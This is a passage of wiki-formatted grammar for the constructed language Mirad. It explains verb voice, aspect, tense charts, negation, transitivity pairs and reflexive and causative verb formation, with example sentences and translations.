| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
: Intransitive verbs cannot be made passive.  For example, '''tajer'''....''to be born'' is intransitive (takes no object) and has no passive voice form.  However, the transitive verb '''tajber'''....''to bear, give birth'' can be passive, as in '''Ha tudet &lt;u&gt;tajbwa&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was delivered&lt;/u&gt; yesterday'' (as opposed to '''Ha tudet &lt;u&gt;taja&lt;/u&gt; zajub.'''....''The child &lt;u&gt;was born&lt;/u&gt; yesterday.)''  Notice how this works with '''yijer''' (''to open''):
::* '''Ha mes yija.'''....''The door opened (by itself).'' (medio-passive)
::* '''Ha mes yijpa.'''....''The door came open.'' (dynamic medio-passive)
::* '''Yijbu ha mes.'''....''Open the door.'' (transitive active)
::* '''Ha mes yijbwa.'''....''The door was opened (by someone).'' (passive)
: Impassive verbs form their past particple with the ending '''ya''', but these forms are somewhat rare.  Here are some examples:
::* '''per'''....''to go'' -&gt; '''pya'''....''gone''
::* '''tajer'''....''to be born'' -&gt; '''tajya'''....''born'' (ex.'''Jesus tajya bi Marya.''''....''Jesus, born of Mary'')
::* '''tojer'''....''to die'' -&gt; '''tojya'''....''dead''
::* '''loteaser'''....''to disappear'' -&gt; '''loteasya'''....''disappeared'' (ex. '''Ha loteasya tobi be Arogem.'''....''the disappeared persons in Argentina.'')

==== Reflexive Voice ====
: A verb is made reflexive by prefixing the reflexive pronoun '''ut''' (''self''), for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''uttojber'''....''to kill oneself''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''utvyilxer'''....''to wash up''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''utteater'''....''to see oneself''
::* '''yabler'''....''to lift'' &lt;big&gt;→&lt;/big&gt; '''utyabler'''....''to lift oneself'' → '''Utyablu!'''....''Lift yourself up!''
::* '''trer'''....''to know'' &lt;big&gt;→&lt;/big&gt; '''uttrer'''....''to know oneself'' → '''Uttru!'''....''Know thyself!''

==== Reciprocal Voice ====

: A verb is made reciprocal by prefixing the reciprocal pronoun '''hyuit'''....''one another'', for example:

::* '''tojber'''....''to kill'' &lt;big&gt;→&lt;/big&gt; '''hyuittojber'''....''to kill one another''
::* '''vyilxer'''....''to wash'' &lt;big&gt;→&lt;/big&gt; '''hyuitvyilxer'''....''to wash one another''
::* '''teater'''....''to see'' &lt;big&gt;→&lt;/big&gt; '''hyuitteater'''....''to see one another''

: Both the reflexive pronoun and reciprocal pronoun can be used as standalone objects.  However, the plural form '''yut''' is used if the subject is plural, for example:

::* '''Yit vyilxa &lt;u&gt;yut&lt;/u&gt;.'''....''They (f.) washed up. (= washed &lt;u&gt;selves&lt;/u&gt;).''
::* '''Ha twobeti dizeuda &lt;u&gt;hyuit&lt;/u&gt;.'''....''The boys laughed at &lt;u&gt;one another&lt;/u&gt;.''
: The word '''hyuit''' is a hybrid of '''hyit'''....''the same one'' combined with '''hyut'''....''the other one''.

==== Aspects Revisited ====

: Mirad verbs have the following aspects:

::* '''''Simple''''' -- this is the default aspect, shown above, i.e. non-progressive, non-perfect, non-imminent, and non-potential.
::* '''''Progressive''''' -- this is an aspect where the verb describes an on-going action or state spread over time.
::* '''''Perfect''''' -- this presents the action or state as anterior, or completed prior to another action or state.
::* '''''Immininent''''' -- this describes an action or state ''about to happen.''
::* '''''Potential''''' -- this refers to an action or state where something is ''possible''.

==== The Simple Aspect ====

: The following chart presents Mirad verbs in the Simple aspect.  In the active voice, the tense vowels '''a''', '''e''', '''o''', and '''u''' are affixed to the stem.  In the passive voice, the passive marker consonant '''w''' is inserted between the stem and the final tense vowels.  The simple present tense refers to actions or states that are habitual (''I regularly go to school.''), regular (''The earth revolves around the sun.''), or permanent (''Blue is a color.'').  The simple past refers to actions or states that occurred at a fixed point in time (''I did my homework last night.'').  The simple future refers to actions or states that will occur at some particular point in the future (''The sun will rise tomorrow at dawn.'').  The simple atemporal hypothetical ( = conditional) refers to an imagined action or state that has not be realized (''You would make a good president.'').
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Simple Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Simple !! Present !! Indicative 
| '''At x&lt;u&gt;e&lt;/u&gt;'''....''I do'' || '''Has x&lt;u&gt;we&lt;/u&gt;'''....''It is done''
|-
!row=1| Simple !! Past !! Indicative 
| '''At x&lt;u&gt;a&lt;/u&gt;'''....''I did'' || '''Has x&lt;u&gt;wa&lt;/u&gt;'''....''It was done''
|-
!row=1| Simple !! Future !! Indicative 
| '''At x&lt;u&gt;o&lt;/u&gt;'''....''I will do'' || '''Has x&lt;u&gt;wo&lt;/u&gt;'''....''It will be done''
|-
!row=1| Simple !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;u&lt;/u&gt;'''....''I would do''&lt;sup&gt;1&lt;/sup&gt; || '''Has x&lt;u&gt;wu&lt;/u&gt;'''....''It would be done''
|}
: 1: Absence of tense (Atemporal) + Hypothetical mood = '''''conditional'''''.

==== The Progressive Aspect ====

: The following chart presents Mirad verbs in the Progressive aspect.  The present tense vowel '''e''' followed by a buffer consonant, are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the active voice, or  '''w''' in the passive voice.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller; &quot;
|+ Progressive Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Progressive !! Present !! Indicative 
| '''at x&lt;u&gt;eye&lt;/u&gt;'''....''I am doing'' || '''Has x&lt;u&gt;ewe&lt;/u&gt;'''....''it is being done''
|-
!row=1| Progressive !! Past !! Indicative 
| '''at x&lt;u&gt;eya&lt;/u&gt;'''....''I was doing'' || '''Has x&lt;u&gt;ewa&lt;/u&gt;'''....''it was being done''
|-
!row=1| Progressive !! Future !! Indicative 
| '''at x&lt;u&gt;eyo&lt;/u&gt;'''....''I am going to be doing'' || '''Has x&lt;u&gt;ewo&lt;/u&gt;'''....''it will be happening''
|-
!row=1| Progressive !! Atemporal !! Hypothetical 
| '''at x&lt;u&gt;eyu&lt;/u&gt;'''....''I would be doing'' || '''Has x&lt;u&gt;ewu&lt;/u&gt;'''....''it would be happening''
|}

==== The Perfect Aspect ====

: The following chart presents Mirad verbs in the Perfect aspect.  The past tense vowel '''a''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice.   

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Perfect Aspect
|-
! Aspect !! Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Perfect !! Present !! Indicative 
| '''At x&lt;u&gt;aye&lt;/u&gt;'''....''I have done'' || '''Has x&lt;u&gt;awe&lt;/u&gt;'''....''It has been done''
|-
!row=1| Perfect !! Past !! Indicative 
| '''At x&lt;u&gt;aya&lt;/u&gt;'''....''I had done'' || '''Has x&lt;u&gt;awa&lt;/u&gt;'''....''It had been done''
|-
!row=1| Perfect !! Future !! Indicative 
|'''At x&lt;u&gt;ayo&lt;/u&gt;'''....''I will have done'' || '''Has x&lt;u&gt;awo&lt;/u&gt;'''....''It will have been done''
|-
!row=1| Perfect !! Atemporal !! Hypothetical 
| '''At x&lt;u&gt;ayu&lt;/u&gt;'''....''I would have done'' || '''Has x&lt;u&gt;awu&lt;/u&gt;'''....''It would have been done''
|}

==== The Imminent Aspect ====

: The following chart presents Mirad verbs in the Imminent aspect (sometimes referred to as the Prospective aspect).  The future tense vowel '''o''' following by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. Not that only indicative mood imminent tenses are ever used.  

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Imminent Aspect
|-
! Aspect || Tense !! Mood !! Active Voice !! Passive Voice
|-
!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
